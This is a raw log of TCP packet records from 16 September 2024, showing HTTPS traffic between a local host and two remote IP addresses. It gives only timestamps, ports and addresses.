Sep 16, 2024 08:23:14.820138931 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820156097 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820179939 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820245981 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820250988 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820272923 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820305109 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820321083 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820322990 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820343971 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820374966 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820395947 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820461988 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820502043 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820522070 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820533991 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820561886 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820600033 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820636988 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820679903 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820698977 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820710897 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820740938 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820780039 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820801973 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820843935 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820867062 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820878983 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.820914984 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820935965 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.820971012 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821018934 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821033001 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821044922 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821074963 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821095943 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821156025 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821193933 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821217060 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821228981 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821255922 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821276903 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821316957 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821371078 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821391106 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821403027 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821430922 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821459055 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821496010 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821540117 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821563005 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821574926 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821603060 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821624041 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821669102 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821713924 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821732044 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821744919 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821772099 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821793079 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821857929 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821897030 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821926117 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821937084 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.821964025 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.821981907 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822029114 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822065115 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822096109 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822118998 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822139025 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822143078 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822163105 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822174072 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822206974 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822211027 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822246075 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822257042 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822282076 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822292089 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822299004 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822310925 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822350979 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822357893 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822371006 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822376966 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822386026 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822398901 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822421074 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822447062 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822468042 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822501898 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822520018 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822539091 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822544098 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822566032 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822577000 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822607040 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822617054 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822638988 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822647095 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822664976 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822690964 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822691917 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822705984 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822711945 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822730064 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822766066 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822766066 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822779894 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822801113 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822818041 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822818041 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822829008 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822843075 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822854042 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822894096 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822899103 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822912931 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822958946 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822967052 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822967052 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.822973013 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.822993994 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823007107 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823015928 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823036909 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823061943 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823074102 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823093891 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823117971 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823128939 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823158979 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823172092 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823199034 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823210955 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823237896 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823261023 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823271036 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823283911 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823318958 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823338985 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823338985 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823340893 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823359966 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823370934 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823414087 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823415041 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823447943 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823465109 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823499918 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823515892 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823539972 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823545933 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823564053 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823575020 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823611975 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823616982 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823631048 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823637009 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823649883 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823667049 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823688030 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823709965 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823728085 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823762894 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823780060 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823805094 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823812008 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823820114 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823831081 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823874950 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823879004 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823898077 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823903084 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823923111 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823950052 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823950052 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.823964119 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823987007 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.823992968 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824002981 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824012041 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824032068 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824050903 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824067116 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824084997 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824114084 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824124098 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824151993 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824170113 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824196100 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824208975 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824238062 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824244022 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824270010 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824281931 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824307919 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824314117 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824384928 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824393988 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824407101 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824460030 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824477911 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824532986 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824548960 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824579954 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824614048 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824632883 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824655056 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824659109 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824676991 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824696064 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824712992 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824736118 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824737072 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824760914 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.824785948 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.824815035 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.828838110 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.828887939 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.829016924 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:14.923414946 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:14.923484087 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.005884886 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.005911112 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.005935907 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.006020069 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.006035089 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.006084919 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.006149054 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.006149054 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.006175995 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.006197929 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.006239891 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.006275892 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.006290913 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.006330013 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.006351948 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.006386995 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.006450891 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.006450891 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.006464958 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.006489038 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.006526947 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.006530046 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.006601095 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.006623983 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.006635904 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.006701946 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.011409998 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.011461973 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.031445026 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.031513929 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.170744896 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.170769930 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.170814037 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.171027899 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.171036959 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.171056032 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.171070099 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.171158075 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.171165943 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.171194077 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.171201944 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.171226025 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.171284914 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.206561089 CEST	49745	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:15.206659079 CEST	443	49745	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:15.206741095 CEST	49745	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:15.211436987 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.211850882 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.224909067 CEST	49745	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:15.224952936 CEST	443	49745	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:15.225052118 CEST	443	49745	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:15.375402927 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.375816107 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.451414108 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.451874018 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.455404043 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.455822945 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.642746925 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.642765999 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.642781019 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.642853975 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.642858982 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.642868042 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.642885923 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.642889977 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.642923117 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.642926931 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.642937899 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.642971039 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.643028021 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.643426895 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.643488884 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.656637907 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.656688929 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.656714916 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.656738043 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.656769037 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.656785965 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.656821012 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.656857014 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.713330030 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.713351965 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.713366032 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.713376045 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.713442087 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.713457108 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.713532925 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.713540077 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.713553905 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.713584900 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.713591099 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.713610888 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.713625908 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.713632107 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.713650942 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.713658094 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.713706017 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.713779926 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.753114939 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.753155947 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.753238916 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.771661997 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.771676064 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.771702051 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.771764040 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.771775961 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.771821976 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:15.771835089 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:15.771867037 CEST	443	49736	185.199.109.133	192.168.2.5
